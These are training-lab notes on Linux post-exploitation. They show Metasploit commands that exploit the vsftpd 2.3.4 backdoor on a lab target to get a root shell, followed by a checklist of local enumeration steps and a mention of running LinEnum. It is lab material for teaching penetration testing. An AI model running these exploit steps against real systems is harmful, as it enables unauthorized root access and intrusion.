🔬Linux Post-Exploitation
🔬 INE LAB
Target IP:
192.218.227.3Local Linux Enumeration
📝📌 Always document and save all the Post-Exploitation Local Enumeration in a local file.
Enumeration & Exploitation
nmap -sV 192.218.227.3
21/tcp open ftp vsftpd 2.3.4searchsploit vsftpd 2.3.4
service postgresql start && msfconsole -qsearch vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
setg RHOSTS 192.218.227.3
setg RHOST 192.218.227.3
run
[+] 192.218.227.3:21 - UID: uid=0(root) gid=0(root) groups=0(root)
[*] Found shell.
/bin/bash -i
root@victim-1:~/vsftpd-2.3.4#Local Enumeration
System Information
In the
Meterpretersession
In the
/bin/bashsession
Enumerate kernel
Enumerate environment variables for the current user
Display CPU information
Show RAM usage
List storage devices
Enumerate installed packages
Users & Groups
Privilege escalation is not necessary in this case.
Enumerate users
Check if a user is part of the
root/sudogroup
Enumerate current/recent logged-on users
Network Information
Back into the
MeterpretersessionShow network adapter info
Display the current running TCP/UDP services
Display the routing table and the ARP cache
In the
/bin/bashsession
List locally mapped domains
Show default DNS name server
Display the
ARPtable
Processes & Cron Jobs
Enumerate all running processes, from a
Meterpretersession
In the
/bin/bashsessionList running processes (on the Kali Linux if the target machine does not have to commands)
Dynamic check of running processes

List the cron jobs
📌 Scheduled cron jobs can be misconfigured and vulnerable to exploitation and privilege escalation!
Show cron jobs for the current user
Automating Local Enum
🔬 INE LAB
Target IP:
192.19.208.3Automation Tools:
Metasploit Framework
LinEnum - bash script that automates common Linux local enumeration
Enumeration & Exploitation

Metasploit Post-Exploitation
Enumerate configuration files

Enumerate network fino

Enumerate local system information

Check if the target is a VM or a container

LinEnum
Copy the content of the LinEnum.sh script and save it in the lab environment
Back into the
Meterpretersession, copy theLinEnum.shfile into the/tmptarget directory
Run
LinEnum.shand output the results in a file

Last updated
Was this helpful?